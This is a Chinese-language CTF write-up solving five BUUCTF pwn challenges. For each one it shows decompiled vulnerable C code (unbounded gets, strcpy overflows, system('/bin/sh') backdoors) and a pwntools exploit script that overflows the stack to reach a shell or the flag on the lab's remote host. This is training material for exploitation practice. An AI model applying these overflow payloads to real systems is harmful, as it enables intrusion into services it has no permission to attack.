0x00 test_your_nc
下载文件查看,直接就给了shell,没什么好说的,直接连上就行了。
int __cdecl main(int argc, const char **argv, const char **envp)
{
system("/bin/sh");
return 0;
}
0X01 rip
下载文件检查保护机制,啥都没开的64位文件
拖入ida,输入s没有限制我们的输入,又有直接获取shell的函数,栈溢出覆盖返回地址就行了。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]
puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}
int fun()
{
return system("/bin/sh");
}
在写exp的时候遇到了一个问题,覆盖了返回地址后,执行system("/bin/sh");
一个就会给我们返回shell,但是并没有,查阅资料后改了一下payload,将ret返回地址+1.
参考资料http://blog.eonew.cn/archives/958
from pwn import *
io = remote("node3.buuoj.cn",29433)
system = 0x401186
payload = 'a' * (0xf + 8) + p64(system + 1)
io.sendline(payload)
io.interactive()
0x02 warmup_csaw_2016
同样没开启任何保护。
ida反编译一下,输入参数v5,没有输入限制,还给我们输出了后门函数sub_40060D()
的地址,真够贴心的。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-80h]
char v5; // [rsp+40h] [rbp-40h]
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(&s, "%p\n", sub_40060D);
write(1, &s, 9uLL);
write(1, ">", 1uLL);
return gets(&v5, ">");
}
int sub_40060D()
{
return system("cat flag.txt");
}
exp:
from pwn import *
io = remote("node3.buuoj.cn",28979)
io.recvuntil("WOW:")
system = int(io.recv(8),16)
payload = 'a' * (0x40 + 8) + p64(system)
io.sendline(payload)
io.interactive()
0x03 pwn1_sctf_2016
开启了NX保护。
拖入ida反编译,main函数调用vuln()
函数,好家伙,c艹,触碰到我知识盲区了。
简单查了一下,函数让我们输入参数s,限制长度32,然后会将我们输入的I
转化为you
,而payload的长度得为(0x3c + 0x8 = 0x44),因此我们需要借助I
转化为you
来帮助我们填充不够的长度。
int vuln()
{
const char *v0; // eax
char s; // [esp+1Ch] [ebp-3Ch]
char v3; // [esp+3Ch] [ebp-1Ch]
char v4; // [esp+40h] [ebp-18h]
char v5; // [esp+47h] [ebp-11h]
char v6; // [esp+48h] [ebp-10h]
char v7; // [esp+4Fh] [ebp-9h]
printf("Tell me something about yourself: ");
fgets(&s, 32, edata);
std::string::operator=(&input, &s);
std::allocator<char>::allocator(&v5);
std::string::string(&v4, "you", &v5);
std::allocator<char>::allocator(&v7);
std::string::string(&v6, "I", &v7);
replace((std::string *)&v3);
std::string::operator=(&input, &v3, &v6, &v4);
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator<char>::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(&s, v0);
return printf("So, %s\n", &s);
}
int get_flag()
{
return system("cat flag.txt");
}
exp:
from pwn import *
io = remote("node3.buuoj.cn",29318)
system = 0x08048F0D
payload = 'I' * 0x15 + 'a' * 1 + p64(system)
io.sendline(payload)
io.interactive()
0x04 ciscn_2019_n_1
下载文件,照例只开了NX保护(就不截图了)。
拖入ida反编译一下,v2初始化为0.0,让我们输入v1,没有限制输入,然后判断v2的值,等于11.28125输出flag。
int func()
{
int result; // eax
char v1; // [rsp+0h] [rbp-30h]
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(&v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}
看了一下v1和v2的地址,思路应该就是利用v1的溢出覆盖v2的值使其等于11.28125,11.28125在十六进制中表示为0x41348000。
exp:
from pwn import *
io = remote("node3.buuoj.cn",29194)
payload = 'I' * (0x30 - 0x4) + p64(0x41348000)
io.sendline(payload)
io.interactive()